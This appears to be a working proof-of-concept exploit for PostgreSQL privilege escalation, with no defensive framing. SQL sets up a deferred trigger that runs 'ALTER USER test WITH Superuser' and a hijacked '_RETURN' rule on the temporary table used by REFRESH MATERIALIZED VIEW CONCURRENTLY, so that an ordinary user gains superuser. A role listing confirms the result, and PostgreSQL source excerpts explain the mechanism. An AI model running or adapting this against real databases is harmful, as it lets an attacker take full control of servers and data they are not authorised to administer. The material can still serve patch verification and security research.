CREATE TABLE public.seen(i int);

CREATE OR REPLACE FUNCTION elevate ()
RETURNS TRIGGER 
AS $$ 
BEGIN
  ALTER USER test WITH Superuser; 
  RETURN NEW;
END; $$ LANGUAGE PLPGSQL;

CREATE TABLE defer(i int);

CREATE CONSTRAINT TRIGGER ai
AFTER INSERT ON public.defer
INITIALLY DEFERRED
FOR EACH ROW
EXECUTE PROCEDURE public.elevate();

CREATE OR REPLACE FUNCTION payload()
RETURNS int
AS $$
DECLARE
  tnsp text;
  tname text;
  i int;
BEGIN
  SELECT schemaname, replace(tablename, '_2', '')
  FROM pg_tables
  WHERE schemaname LIKE 'pg_temp_%' INTO tnsp, tname;

  SELECT COUNT(*) from public.seen INTO i;
  IF i > 1 THEN
    -- Need to move recreate the table for the DROP TABLE
    EXECUTE FORMAT ('ALTER VIEW %I.%I RENAME TO aaa', tnsp, tname); 
    EXECUTE FORMAT ('CREATE TABLE %I.%I(i int, j int) ', tnsp, tname); 
    INSERT INTO public.defer VALUES (1);
  ELSE
    INSERT INTO public.seen VALUES (1);
  END IF;
  RETURN i;
  END;
$$ LANGUAGE plpgsql;

CREATE OR REPLACE FUNCTION ins()
RETURNS TABLE (
  i int,
  j int
) AS $$                             
DECLARE
  tnsp text;
  tname text;
  rel oid;
  ind record;
BEGIN
  SELECT schemaname, tablename
  FROM pg_tables
  WHERE schemaname LIKE 'pg_temp_%' INTO tnsp, tname;

  SELECT oid FROM pg_class where relname = tname into rel;
  SELECT * FROM pg_index WHERE indrelid = rel into ind;
  BEGIN
    EXECUTE FORMAT ('CREATE RULE "_RETURN"
                      AS ON SELECT
                      TO %I.%I
                      DO INSTEAD
                      SELECT payload() as i, 1 as j',tnsp, tname);

    EXECUTE FORMAT ('ALTER VIEW %I.%I
                     RENAME COLUMN j to ctid',
                      tnsp,tname);
  EXCEPTION WHEN OTHERS THEN
    RAISE NOTICE 'ins: %', SQLERRM;
  END;
  RETURN QUERY SELECT 1, 2;
END;
$$ language plpgsql;

CREATE MATERIALIZED VIEW "matview"
AS (SELECT i, j from ins() WHERE i != i);

CREATE UNIQUE INDEX mv_i ON matview (i);

# REFRESH MATERIALIZED VIEW CONCURRENTLY matview;

#d\u test

                List of roles
 Role name |      Attributes      | Member of 
-----------+----------------------+-----------
 test      | Superuser, Create DB | {}

/*
 * Switch to the owner's userid, so that any functions are run as that
 * user.  Also lock down security-restricted operations and arrange to
 * make GUC variable changes local to this command.
*/
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(relowner,save_sec_context|SECURITY_RESTRICTED_OPERATION);

OIDNewHeap = make_new_heap(matviewOid, tableSpace, relpersistence,
                                                           ExclusiveLock);
        LockRelationOid(OIDNewHeap, AccessExclusiveLock);
        dest = CreateTransientRelDestReceiver(OIDNewHeap);

        /* Generate the data, if wanted. */
        if (!stmt->skipData)
                processed = refresh_matview_datafill(dest, dataQuery, queryString);

CREATE RULE "_RETURN"
AS ON SELECT
TO pg_temp3.pg_temp_1449929
DO INSTEAD
SELECT payload() as i, 1 as j;

refresh_by_match_merge(matviewOid, OIDNewHeap, relowner, save_sec_context);

CREATE TEMP TABLE pg_temp_3.pg_temp_1449929_2 AS 
SELECT mv.ctid AS tid, 
       newdata.*::pg_temp_3.pg_temp_1449929 AS newdata 
FROM public.matview mv 
  FULL JOIN pg_temp_3.pg_temp_1449929 newdata 
    ON (newdata.i OPERATOR(pg_catalog.=) mv.i AND newdata.* OPERATOR(pg_catalog.*=) mv.*) 
WHERE newdata.* IS NULL OR mv.* IS NULL ORDER BY tid